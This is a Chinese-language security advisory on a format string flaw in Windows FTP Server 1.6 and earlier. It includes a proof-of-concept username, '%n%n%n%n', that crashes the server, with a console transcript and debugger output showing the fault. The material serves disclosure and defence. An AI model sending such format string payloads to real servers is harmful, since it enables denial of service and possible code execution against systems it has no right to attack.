Windows FTP Server存在格式串缺陷
涉及程序:
Windows FTP Server 1.6版及其之前的版本
描述:
Windows FTP Server存在格式串缺陷
详细:
Windows FTP Server是一款小型、易于使用的FTP服务器程序。Windows FTP Server程序在接受远程客户端提交的数据时,没有指定输入格式类型,攻击者利用包含特殊字符的用户名:“%n%n%n%n”连接到目标服务器时,能导致程序崩溃,并能在目标系统上执行任意代码:
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ftp 127.0.0.1
Connected to 127.0.0.1.
220 Welcome to Windows FTP Server
User (127.0.0.1:(none)): %n%n%n%n
Connection closed by remote host.
C:\WINDOWS\system32>
---------------
Upon attaching a debugger to the application, you can immediately see where the problem lies:
---------------
0:004> g
(a98.9b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000004 ebx=0000006e ecx=0000000c edx=009843bb esi=0140e864 edi=0098436e
eip=77c3f665 esp=0140e61c ebp=0140e878 iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols
for C:\WINDOWS\system32\MSVCRT.dll -
MSVCRT!wscanf+654:
77c3f665 8908 mov [eax],ecx ds:0023:00000004=????????
攻击方法:
请参见“详细”栏。
解决方案:
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http://srv.nease.net/
附加信息:
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